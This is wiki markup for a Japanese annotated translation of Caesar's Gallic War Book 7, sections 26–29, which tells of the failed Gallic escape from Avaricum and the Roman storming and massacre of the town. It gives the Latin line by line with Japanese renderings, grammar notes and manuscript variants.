*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/26節]]　{{進捗|00%|2026-07-13}}&lt;/span&gt;
;アウァーリクム脱出の企て、女たちの絶叫
:　
;　　　万策尽きたガッリア勢が、アウァーリクム脱出を企てる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:omnia#Noun|Omnia]] [[wikt:en:expertus#Participle|experti]] [[wikt:en:Galli#Latin|Galli]], 
**ガッリア人たちはあらゆることを試みたが、
*quod res [[wikt:en:nullus#Determiner|nulla]] [[wikt:en:successerat#Latin|successerat]], 
**何ら事が成功しなかったので、
*[[wikt:en:posterus#Latin|postero]] die [[wikt:en:consilium#Latin|consilium]] [[wikt:en:ceperunt#Latin|ceperunt]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:profugio#Latin|profugere]], 
**&lt;small&gt;（戦いの夜が明けて）&lt;/small&gt;翌日には、&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から退避する計画を立てた。
*[[wikt:en:hortans#Latin|hortante]] et [[wikt:en:iubens#Latin|iubente]] [[wikt:en:Vercingetorix#Latin|Vercingetorige]]. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]によって促され、命じられたものであった。
:　
;　　　脱出をはかるガッリア勢の期待とその理由
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Id [[wikt:en:silentium#Latin|silentio]] noctis [[wikt:en:conatus#Participle|conati]] 
**そのこと&lt;small&gt;〔アウァーリクムからの退避〕&lt;/small&gt;を夜の静けさのうちに試みても、
*non magna &lt;u&gt;iactura&lt;/u&gt; suorum 
**味方の大きな&lt;ruby&gt;&lt;rb&gt;犠牲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ヤクトゥーラ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;もなしに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iactura#Noun|iactura]] は「投げ捨てること」、比喩的に「損害、犠牲」。）&lt;/span&gt;
*sese [[wikt:en:effecturus#Latin|effecturos]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt; [[wikt:en:sperabant#Latin|sperabant]], 
**自分たちは成し遂げるだろうと期待していた。
*&lt;u&gt;propterea quod&lt;/u&gt; &lt;u&gt;neque&lt;/u&gt; longe ab oppido [[wikt:en:castra#Latin|castra]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:aberant#Latin|aberant]], 
**──というのも、ウェルキンゲトリークスの陣営は&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からあまり離れていなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:propterea_quod#Latin|propterea quod]] ～「なぜなら～からである」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：neque ～  et …「～ではなく、…である」）&lt;/span&gt;
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:palus#Latin|palus]], &lt;u&gt;quae [[wikt:en:perpetuus#Latin|perpetua]]&lt;/u&gt; [[wikt:en:intercedebat#Latin|intercedebat]], [[wikt:en:Romani#Latin|Romanos]] ad [[wikt:en:insequendum#Verb|insequendum]] [[wikt:en:tardabat#Latin|tardabat]]. 
**沼地も絶え間なく介在していて、ローマ人たちの追跡を遅らせていたからだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本の語順は quae perpetua だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本の語順は perpetua quae となっている。）&lt;/span&gt;
:　
;　　　母親たちが男たちに、女子供を置き去りにして敵のいけにえにするな、と哀願する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:iam#Latin|Iam]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;hoc&lt;/u&gt; facere [[wikt:en:noctu#Latin|noctu]] [[wikt:en:apparabant#Latin|apparabant]], 
**すでに、&lt;u&gt;このことを&lt;/u&gt;実行することを夜間に準備していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:haec#Latin|haec]]&lt;sub&gt;&amp;nbsp;(中性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed.pr]] では [[wikt:en:hoc#Latin:_this|hoc]]&lt;sub&gt;&amp;nbsp;(中性･単数･対格)&lt;/sub&gt; としている。）&lt;/span&gt;
*&lt;u&gt;cum&lt;/u&gt; [[wikt:en:mater#Latin|matres]] [[wikt:en:familia#Latin|familiae]] [[wikt:en:repente#Adverb_2|repente]] in [[wikt:en:publicum#Noun|publicum]] [[wikt:en:procurrerunt#Latin|procurrerunt]], 
**そのときに家族の母親たちが不意に公の場に走り出て来て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cum は、「倒逆のcum」（[[wikt:en:cum inversum|cum inversum]]）と呼ばれ、&lt;br&gt;　　　　cum 以下 ～ impediret までの副文が、上記の主文よりも重要な構文の中心になる。）&lt;/span&gt;
*[[wikt:en:flens#Latin|flentes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:proiectus#Latin|proiectae]] ad [[wikt:en:pes#Latin|pedes]] suorum 
**泣きながら、味方&lt;small&gt;（の男たち）&lt;/small&gt;の足元に&lt;small&gt;（身を）&lt;/small&gt;投げ出して、
*omnibus [[wikt:en:prex#Latin|precibus]] [[wikt:en:petierunt#Latin|petierunt]], 
**あらゆる懇願でもって頼んだ。
*ne se et [[wikt:en:communis#Latin|communes]] [[wikt:en:liberi#Noun_2|liberos]] hostibus ad [[wikt:en:supplicium#Latin|supplicium]] [[wikt:en:dederent#Latin|dederent]], 
**自分たち&lt;small&gt;〔女たち〕&lt;/small&gt;と&lt;small&gt;（男たちとの）&lt;/small&gt;共通の子供たちを、処刑されることのために敵方に引き渡さないで、
*&lt;u&gt;quos&lt;/u&gt; ad [[wikt:en:capiendus#Latin|capiendam]] [[wikt:en:fuga#Latin|fugam]] [[wikt:en:natura#Latin|naturae]] et [[wikt:en:vis#Latin|virium]] [[wikt:en:infirmitas#Latin|infirmitas]] [[wikt:en:impediret#Latin|impediret]]. 
**それらの者&lt;small&gt;〔女子供たち〕&lt;/small&gt;が逃亡をとるためには、性質や体力の弱さが、妨げるのだ、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:quos#Latin|quos]]&lt;sub&gt;&amp;nbsp;(男性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:quas#Latin|quas]]&lt;sub&gt;&amp;nbsp;(女性･複数･対格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　窮した母親たちが、男たちの脱出の兆候をローマ人に伝えようとする
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] eos in [[wikt:en:sententia#Latin|sententia]] [[wikt:en:perstare#Latin|perstare]] [[wikt:en:viderunt#Latin|viderunt]], 
**彼ら&lt;small&gt;〔男たち〕&lt;/small&gt;が&lt;small&gt;（女･子供を置き去りで脱出するという）&lt;/small&gt;意思を固持していると&lt;small&gt;〔女たちが〕&lt;/small&gt;見て取るや、
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:plerumque#Adverb|plerumque]] in [[wikt:en:summus#Latin|summo]] [[wikt:en:periculum#Latin|periculo]] [[wikt:en:timor#Latin|timor]] [[wikt:en:misericordia#Latin|misericordiam]] non [[wikt:en:recipit#Latin|recipit]], 
**──というのは、たいてい最大級の危険においては、恐怖が&lt;ruby&gt;&lt;rb&gt;憐憫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れんびん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を受け入れないものであるからだが、──
*[[wikt:en:conclamo#Latin|conclamare]] et [[wikt:en:significo#Latin|significare]] de [[wikt:en:fuga#Latin|fuga]] [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:coeperunt#Latin|coeperunt]]. 
**&lt;small&gt;（女たちは）&lt;/small&gt;叫び声を上げて、ローマ人たちに&lt;small&gt;（男たちの）&lt;/small&gt;逃亡について知らしめ始めた。
:　
;　　　ガッリア勢の男たちが、ローマ側の騎兵隊を恐れて、アウァーリクム脱出を断念する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] [[wikt:en:timor#Latin|timore]] [[wikt:en:perterritus#Latin|perterriti]] [[wikt:en:Galli#Latin|Galli]], 
**&lt;small&gt;（女たちがローマ側へ男たちの脱出について報知したことで）&lt;/small&gt;その恐怖によって脅かされたガッリア人&lt;small&gt;（の男）&lt;/small&gt;たちは、
*[[wikt:en:ne#Latin:_no|ne]] ab [[wikt:en:equitatus#Latin|equitatu]] Romanorum [[wikt:en:via#Latin|viae]] [[wikt:en:praeoccuparentur#Latin|praeoccuparentur]], 
**ローマ方の[[w:騎兵|騎兵隊]]によって道があらかじめ占拠されないように、
*[[wikt:en:consilium#Latin|consilio]] [[wikt:en:destiterunt#Latin|destiterunt]].
**&lt;small&gt;（アウァーリクムからの脱出の）&lt;/small&gt;計画を取り止めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===27節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/27節]]　{{進捗|00%|2026-08-01}}&lt;/span&gt;
;ローマ軍が大雨の中でアウァーリクムの城壁を占拠
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die Caesar, 
**翌日にカエサルは、
*[[wikt:en:promotus#Latin|promota]] [[wikt:en:turris#Latin|turri]] 
**&lt;small&gt;（後退していた）&lt;/small&gt;[[w:攻城塔|攻城櫓]]&lt;small&gt;（の1基）&lt;/small&gt;が前進させられて、
*&lt;u&gt;perfectis&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|operibus]], quae facere [[wikt:en:instituerat#Latin|instituerat]], 
**実施を定めていた作業が&lt;u&gt;成し遂げられると&lt;/u&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;pi;系写本では [[wikt:en:perfectis#Latin|perfectīs]] 「完成されると」だが、&lt;br&gt;　　　　　&amp;alpha;系･&amp;rho;系写本では [[wikt:en:derectis#Latin|dērēctīs]] 「整えられると」&lt;br&gt;　　　　となっている。）&lt;/span&gt;
*magno [[wikt:en:coortus#Latin|coorto]] &lt;u&gt;imbre&lt;/u&gt; 
**激しい嵐が起こったが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:imbre#Latin|imbre]] だが、&amp;beta;系写本では [[wikt:en:imbri#Latin|imbri]] となっている。）&lt;/span&gt;
*non [[wikt:en:inutilis#Latin|inutilem]] hanc ad [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:consilium#Latin|consilium]] [[wikt:en:tempestas#Latin|tempestatem]] &lt;u&gt;arbitratus est&lt;/u&gt;, 
**作戦計画を立てるために、この天候は不利ではないと思われた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:arbitratus#Participle|arbitratus]] est だが、&amp;beta;系写本では単に arbitratus となっている。）&lt;/span&gt;
*[[wikt:en:quod#Conjunction|quod]] paulo [[wikt:en:incautius#Adverb|incautius]] [[wikt:en:custodia#Latin|custodias]] in [[wikt:en:murus#Latin|muro]] [[wikt:en:dispositus#Latin|dispositas]] [[wikt:en:videbat#Latin|videbat]], 
**──というのは、城壁に配置された番兵たちが少しより油断していると見ていたからだが、──
*&lt;u&gt;suosque&lt;/u&gt; [[wikt:en:languide#Adverb|languidius]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:versor#Latin|versari]] [[wikt:en:iussit#Verb|iussit]] 
**配下の者たちには&lt;small&gt;（わざと）&lt;/small&gt;より緩慢に作業に従事することを命じて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:suos#Latin|suōs]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&amp;beta;系写本では [[wikt:en:suos#Latin|suōs]] [[wikt:en:quoque#Adverb|quoque]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quid#Pronoun_2|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:ostendit#Latin|ostendit]]. 
**何がなされることを&lt;small&gt;（カエサルが）&lt;/small&gt;欲しているか、を示した。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:legio#Latin|Legionibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;extra castra intra [[wikt:en:vinea#Latin|vineas]]&lt;/u&gt; in occulto [[wikt:en:expeditus#Participle|expeditis]], 
**[[w:ローマ軍団|諸軍団]]が&lt;u&gt;陣営の外の&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の内側で&lt;/u&gt;ひそかに準備を整えており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本や校訂版によって異同がある。[[ガリア戦記_第7巻/注解/27節#注記|注記]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;
*[[wikt:en:cohortatus#Latin|cohortatus]], ut [[wikt:en:aliquando#Latin|aliquando]] pro [[wikt:en:tantus#Latin|tantis]] [[wikt:en:labor#Latin|laboribus]] [[wikt:en:fructus#Latin:_noun|fructum]] victoriae [[wikt:en:perciperent#Latin|perciperent]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;やっと、これほどの労苦の見合う勝利の報酬を我がものとするように激励し、
*iis, qui [[wikt:en:primus#Latin|primi]] [[wikt:en:murus#Latin|murum]] [[wikt:en:adscendissent#Latin|adscendissent]], [[wikt:en:praemium#Latin|praemia]] [[wikt:en:proposuit#Latin|proposuit]] 
**一番乗りとして城壁に登った者たちには、恩賞を約束して、
*[[wikt:en:miles#Latin|militibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:signum#Latin|signum]] [[wikt:en:dedit#Latin|dedit]]. 
**兵士たちに号令を発した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi [[wikt:en:subito#Adverb_8|subito]] ex omnibus partibus [[wikt:en:evolaverunt#Latin|evolaverunt]] 
**彼ら&lt;small&gt;〔ローマ軍団兵〕&lt;/small&gt;は不意にあらゆる方角から飛び出して、
*[[wikt:en:murus#Latin|murum]]&lt;nowiki&gt;que&lt;/nowiki&gt; celeriter [[wikt:en:compleverunt#Latin|compleverunt]].
**速やかに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁を埋め尽くしたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===28節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/28節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
;ローマ軍がアウァーリクムの市民4万人を大虐殺

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hostes re nova [[wikt:en:perterritus#Latin|perterriti]], 
**敵たち&lt;small&gt;〔籠城するガッリア勢〕&lt;/small&gt;は新たな事態に脅かされて、
*[[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turribus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:deiectus#Participle|deiecti]] 
**&lt;small&gt;（ローマ兵によって）&lt;/small&gt;城壁や櫓から追い落とされて、
*in [[wikt:en:forum#Latin|foro]] ac locis [[wikt:en:patentior#Latin|patentioribus]] [[wikt:en:cuneatim#Latin|cuneatim]] [[wikt:en:constiterunt#Etymology_1|constiterunt]], 
**&lt;ruby&gt;&lt;rb&gt;広場&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;フォルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や開けた場所に楔状に立ちふさがった。
*hoc animo, ut, si [[wikt:en:aliqui#Latin|qua]] ex parte [[wikt:en:obviam#Adverb|obviam]] &lt;span style=&quot;color:#009900;&quot;&gt;[&lt;/span&gt;contra&lt;span style=&quot;color:#009900;&quot;&gt;]&lt;/span&gt; [[wikt:en:veniretur#Latin|veniretur]], [[wikt:en:acies#Latin|acie]] [[wikt:en:instructus#Latin|instructa]] [[wikt:en:depugnarent#Latin|depugnarent]]. 
**もし、どの方向から相対して対抗して来られても、戦列を整えて決戦しようという心積もりでいたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:contra#Latin|contra]] は &amp;alpha;系･&amp;pi;系写本･写本Rにある記述だが、&lt;br&gt;　　　　　　　　写本U にはなく、削除提案されている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ubi [[wikt:en:nemo#Latin|neminem]] in aequum locum sese [[wikt:en:demitto#Latin|demittere]], sed [[wikt:en:totus#Latin:_whole|toto]] [[wikt:en:undique#Latin|undique]] [[wikt:en:murus#Latin|muro]] [[wikt:en:circumfundi#Latin|circumfundi]] [[wikt:en:viderunt#Latin|viderunt]], 
**&lt;small&gt;（ローマ兵が）&lt;/small&gt;誰も平らな所に降りて来ず、しかし城壁全体の至る所で取り囲まれたことを見たときに、
*[[wikt:en:veritus#Latin|veriti]], ne [[wikt:en:omnino#Latin|omnino]] spes fugae [[wikt:en:tolleretur#Latin|tolleretur]], 
**&lt;small&gt;（籠城ガッリア勢は）&lt;/small&gt;逃亡のあらゆる希望を奪われないかと怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：veriti, [[wikt:en:ne#Latin:_no|ne]] ～ 「～ではないかと恐れて」恐れの表現。）&lt;/span&gt;
*[[wikt:en:abiectus#Latin|abiectis]] [[wikt:en:arma#Latin|armis]] 
**武器を投げ捨てて、
*[[wikt:en:ultimus#Latin|ultimas]] oppidi partes 
**城塞都市の&lt;small&gt;（ローマ勢から）&lt;/small&gt;最も遠くの方面を
*[[wikt:en:continens#Latin|continenti]] [[wikt:en:impetus#Latin|impetu]] [[wikt:en:petiverunt#Latin|petiverunt]], 
**絶え間ない殺到によって求めた。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;u&gt;pars&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; ibi, cum [[wikt:en:angustus#Latin|angusto]] [[wikt:en:exitus#Latin|exitu]] portarum se ipsi [[wikt:en:premerent#Latin|premerent]], a militibus, 
**ある者たちは、城門の狭い出口で自分らで互いに押し合っていたので、そこで&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちによって&lt;small&gt;（殺され）&lt;/small&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:pars#Latin|pars]] ～, pars …「ある者たちは～、別の者たちは…」。）&lt;/span&gt;
*&lt;u&gt;pars&lt;/u&gt; iam [[wikt:en:egressus#Latin|egressa]] portis ab [[wikt:en:eques#Latin|equitibus]] est [[wikt:en:interfectus#Latin|interfecta]]. 
**別の者たちはすでに城門を出ていたが、&lt;small&gt;（ローマ側の）&lt;/small&gt;[[w:騎兵|騎兵]]たちによって虐殺された。

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:nec#Latin|Nec]] fuit [[wikt:en:quisquam#Pronoun|quisquam]], qui [[wikt:en:praeda#Latin|praedae]] [[wikt:en:studeret#Latin|studeret]]. 
**&lt;small&gt;（ローマ勢には）&lt;/small&gt;戦利品を熱心に求める何者もいなかった。
*[[wikt:en:sic#Latin|Sic]] et &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:caedes#Latin|caede]] et [[wikt:en:labor#Latin|labore]] [[wikt:en:opus#Latin|operis]] [[wikt:en:incitatus#Latin|incitati]] 
**このように、ケナブムの&lt;small&gt;（ローマ市民の）&lt;/small&gt;殺害にも、（攻城）作業の労苦にも煽られて
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カルヌーテース族によるローマ市民の殺害については[[#3節|3節]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cenabi は、&amp;alpha;系写本では [[wikt:en:Genabi#Latin|genabi]] &lt;br&gt;　　　　　　　　　　　　　&amp;rho;系写本や写本Tでは [[wikt:en:Genabensi#Adjective|genabensi]]&lt;br&gt;　　　　　　　　　　　　　写本Uおよび写本Tの一部では cenabensi となっている。&lt;br&gt;　　　　　　　　　　　　　なお、cenabi, cenabensi はケルト語風の表記である。）&lt;/span&gt;
*non [[wikt:en:aetas#Latin|aetate]] [[wikt:en:confectus#Latin|confectis]], 
**&lt;small&gt;（ローマ勢は）&lt;/small&gt;年老いた者たちも、
*non [[wikt:en:mulier#Latin|mulieribus]], 
**妻女たちも、
*non [[wikt:en:infans#Noun|infantibus]] [[wikt:en:pepercerunt#Latin|pepercerunt]]. 
**乳幼児たちも&lt;small&gt;（虐殺することを）&lt;/small&gt;思いとどまらなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ビトゥリゲース族はローマ市民の殺害には関与しておらず、報復される対象とするのは的外れである。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ましてや非戦闘員である老人・女性・子供たちまで殺戮するのは、戦争の狂気というしかない。）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:denique#Latin|Denique]] ex omni &lt;u&gt;&lt;span style=&quot;color:#009900;&quot;&gt;eo&lt;/span&gt;&lt;/u&gt; numero, qui fuit circiter milium XL&lt;small&gt;&amp;nbsp;([[wikt:en:quadraginta#Latin|quadraginta]])&lt;/small&gt;, 
**ついには、約40000名もいたすべての人員のうち、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:eo#Latin:_there|eo]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*vix DCCC&lt;small&gt;&amp;nbsp;([[wikt:en:octingenti#Latin|octingenti]])&lt;/small&gt;, qui primo [[wikt:en:clamor#Latin|clamore]] [[wikt:en:auditus#Latin|audito]] se ex oppido &lt;u&gt;eiecerunt&lt;/u&gt;, 
**やっと800名が、はじめにどよめきを聞いて、城塞都市から急ぎ出て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:eiecerunt#Latin|eiecerunt]]&lt;small&gt;&amp;nbsp;(直接法･完了)&lt;/small&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eiecerant#Latin|eiecerant]]&lt;small&gt;&amp;nbsp;(直接法･過去完了)&lt;/small&gt; となっている。）&lt;/span&gt;
*[[wikt:en:incolumis#Latin|incolumes]] ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:pervenerunt#Latin|pervenerunt]]. 
**無傷のままで[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ到着した。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Quos ille multa iam nocte &lt;u&gt;silentio&lt;/u&gt; ex fuga [[wikt:en:excepit#Latin|excepit]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、逃亡して来たその者たちを、すでに夜も更けた&lt;u&gt;静寂のうちに&lt;/u&gt;迎え入れた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:silentio#Latin|silentio]] だが、&amp;beta;系写本にはない。&lt;br&gt;　　　　　　他方、&amp;beta;系写本では [[wikt:en:sic#Latin|sic]] とあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]], ne qua in castris ex eorum [[wikt:en:concursus#Latin:_convergence|concursu]] et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]] seditio &lt;u&gt;oreretur&lt;/u&gt;, 
**彼らの密集や一般兵士たちの同情から、陣営の中で何らかの暴動が生じないように怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne [[wikt:en:aliqui#Latin|qua (aliqua)]] ～ [[wikt:en:seditio#Latin|seditio]]「何らかの暴動が～ないように」
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、一部の写本は [[wikt:en:oreretur#Latin|oreretur]] だが、&lt;br&gt;　　　　　　　　　他の写本では [[wikt:en:oriretur#Latin|oriretur]] となっているが、語形の相違。）&lt;/span&gt;
*ut procul in via [[wikt:en:dispositus#Latin|dispositis]] [[wikt:en:familiaris#Noun|familiaribus]] suis [[wikt:en:princeps#Latin|principibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:civitas#Latin|civitatum]], 
**自らの郎党たちや部族の領袖たちを&lt;small&gt;&lt;/small&gt;（陣営の）遠くから道沿いに配置して、
*[[wikt:en:disparandus#Latin|disparandos]] [[wikt:en:deducendus#Latin|deducendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; ad suos [[wikt:en:curaret#Latin|curaret]], 
**&lt;small&gt;（敗走者たちを）&lt;/small&gt;味方のもとへ、引き離して連れて行くように手配した。
*quae [[wikt:en:cuique#Latin|cuique]] civitati pars castrorum ab [[wikt:en:initium#Latin|initio]] [[wikt:en:obvenerat#Latin|obvenerat]].
**陣営の各部分は、おのおのの部族にはじめから与えられていたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===29節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/29節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
[[画像:Vercingetorix stater CdM.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
;ウェルキンゲトリークスが演説で味方を鼓舞する

:　
